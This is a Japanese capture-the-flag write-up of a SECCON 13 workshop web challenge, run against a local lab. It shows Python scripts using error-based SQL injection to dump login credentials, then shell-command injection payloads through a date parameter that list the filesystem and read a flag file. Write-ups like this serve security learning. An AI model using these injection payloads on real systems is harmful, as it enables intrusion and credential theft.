writeup - RWPL Workshop in SECCON 13 電脳会議

# 概要
SECCON 13 電脳会議でRWPL様のワークショップに参加させていただきました。今回はそこで出題された問題のwriteupとなります(2025/03/03時点ではwebのみ)。

RWPL official page:

https://rwpl.github.io/

Problem:

https://github.com/RWPL/seccon13-workshop/

# tommorow(web)
### SQLi
![web-login.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/e9878130-8ad5-4f94-a919-a8fcb065cf38.png)
まずはログインページを突破します。

ルートディレクトリに消し忘れたコメントがありました。
```html
<body>
  <div class="container">
    <h1>Hello :)</h1>
    <p class="message"><a href="/login">ログイン</a></p>
    <!-- robots.txt -->
  </div>
</body>
```

`/robots.txt`から、さらに`/credits`ディレクトリを見つけました。
```:robots.txt
User-agent: *
Disallow: /credits
```

`/credits`へ進むと、最後のほうでヒントが確認できます。
```xml:credits
{
  "team": "RWPL",
  "members": [
    {
      "name": "l3ickey",
      "role": [
        "root"
      ],
      "sns": "https://x.com/l3ickey"
    },
    {
      "name": "gua",
      "role": [
        "root"
      ],
      "sns": "\u003Cscript\u003Ealert()\u003C/script\u003E"
    },
    {
      "name": "c10ne",
      "role": [
        "staff"
      ],
      "sns": "502 Bad Gateway"
    },
    {
      "name": "fuku_uma",
      "role": [
        "staff"
      ],
      "sns": "https://x.com/fuku_umaiux"
    },
    {
      "name": "k1rnt",
      "role": [
        "staff",
        "Lab構築"
      ],
      "sns": "https://x.com/k1rnt"
    },
    {
      "name": "J0hn",
      "role": [
        "Lab構築"
      ],
      "sns": "https://x.com/J0hnSm1thyk"
    },
    {
      "name": "ぐり",
      "role": [
        "Lab構築"
      ],
      "sns": "https://x.com/GlionSecurity"
    },
    {
      "name": "y0d3n",
      "role": [
        "レビュー",
        "応援"
      ],
      "sns": "https://x.com/y0d3n"
    }
  ],
  "hint-1": "SQL Error: Error: XPATH syntax error"
}
```
このヒントから、Error based SQL injectionを行うと推測できます。
以下のサイトを参考にして進めていきましょう。

https://akimbocore.com/article/sql-injection-exploitation-error-based/

まずはテーブルを列挙してみます。
```python:solver_1.py
import requests

url = 'http://localhost:3000/login'

headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

for i in range(100):
    payload = "email='+AND+ExtractValue('',Concat('=',(SELECT+table_name+FROM+information_schema.tables+LIMIT+%d,1)))-- " % i
    response = requests.post(url, data=payload, headers=headers)
    print(response.text)
```
```shell_session
$ python3 solver_1.py
SQL Error: Error: XPATH syntax error: '=ADMINISTRABLE_ROLE_AUTHORIZATIO'
SQL Error: Error: XPATH syntax error: '=APPLICABLE_ROLES'
SQL Error: Error: XPATH syntax error: '=CHARACTER_SETS'
SQL Error: Error: XPATH syntax error: '=CHECK_CONSTRAINTS'
SQL Error: Error: XPATH syntax error: '=COLLATIONS'
...
SQL Error: Error: XPATH syntax error: '=variables_metadata'
SQL Error: Error: XPATH syntax error: '=users'
メールアドレスか、パスワードが違います
...
```
`users`テーブルを発見しました。
`/login`から`email`と`password`カラムが存在することはわかっているので、このままフィールドを取っていきます。
```python:solver_2.py
import requests

url = 'http://localhost:3000/login'

headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}

columns = ['email', 'password']

for i in columns:
    payload = "email='+AND+ExtractValue('',Concat('=',(SELECT+%s+FROM+users+LIMIT+0,1)))--+-" % i
    response = requests.post(url, data=payload, headers=headers)
    print(response.text)
```
```shell_session
$ python3 solver_2.py
SQL Error: Error: XPATH syntax error: '=rwpl@tommorow.example.com'
SQL Error: Error: XPATH syntax error: '=sUp3r_Str0ng_RWPL_P@ssw0rd'
```
認証情報を入手できたので、ログインします。
(`email`: `rwpl@tommorow.example.com`
 `password`: `sUp3r_Str0ng_RWPL_P@ssw0rd`)

### OSCi
![web-after-login.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3583252/066f2be7-f028-4dc8-9547-8f0be4545969.png)
明日の日付(`/tommorow?day=1`)に進むと、次の内容が表示されます。
```
1日後は2025-03-04
ですね ;)
```
`day`パラメータをほかの数字に変えると、日付に反映されるようです。

この`day`パラメータに文字列を入力すると、エラーを発生させることができました。
```
aa日後はCommand failed: date '+%Y-%m-%d' -d 'aa day'
date: invalid date ‘aa day’
ですね ;)
```
ここから、`date '+%Y-%m-%d' -d '{input} day'`が実行されていることがわかります。
シングルクォーテーションで閉じる形をとれば、OSコマンドインジェクションができそうです。
例として、`/tommorow?day=';whoami||'`(`/tommorow?day=%27;whoami||%27`)にアクセスします。
```
';whoami||'日後は2025-03-03
rwpl
ですね ;)
```
しっかり動作しています。
あとは、`whoami`の部分に`flag.txt`を読ませるコマンドを入れて完成です。
```:/tommorow?day=';ls /||'
';ls /||'日後は2025-03-03
app
bin
dev
etc
flag.txt
home
lib
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
ですね ;)
```
```/tommorow?day=';cat /flag.txt||'
';cat /flag.txt||'日後は2025-03-03
***************************ですね ;)
```

# xorpwnxor(pwn)
coming soon...
(全然わからなかったので[tak💀yassan様のwriteup](https://zenn.dev/taksecbe/articles/rpwl-xorpwnxor-20250302)見て解こうと思います)

# 最後に
今回はSECCON 13 電脳会議 / RWPL Workshopに参加させていただきました。2025年度はCTFの技術磨きということで様々なCTFに参戦しつつ自分の得意分野をよりはっきりさせていきたいと思います(もちろん人脈作りも...)。

併せて、
**来週からpicoCTFなので、中学生で参加できる方は誘ってもらえると幸いです!**((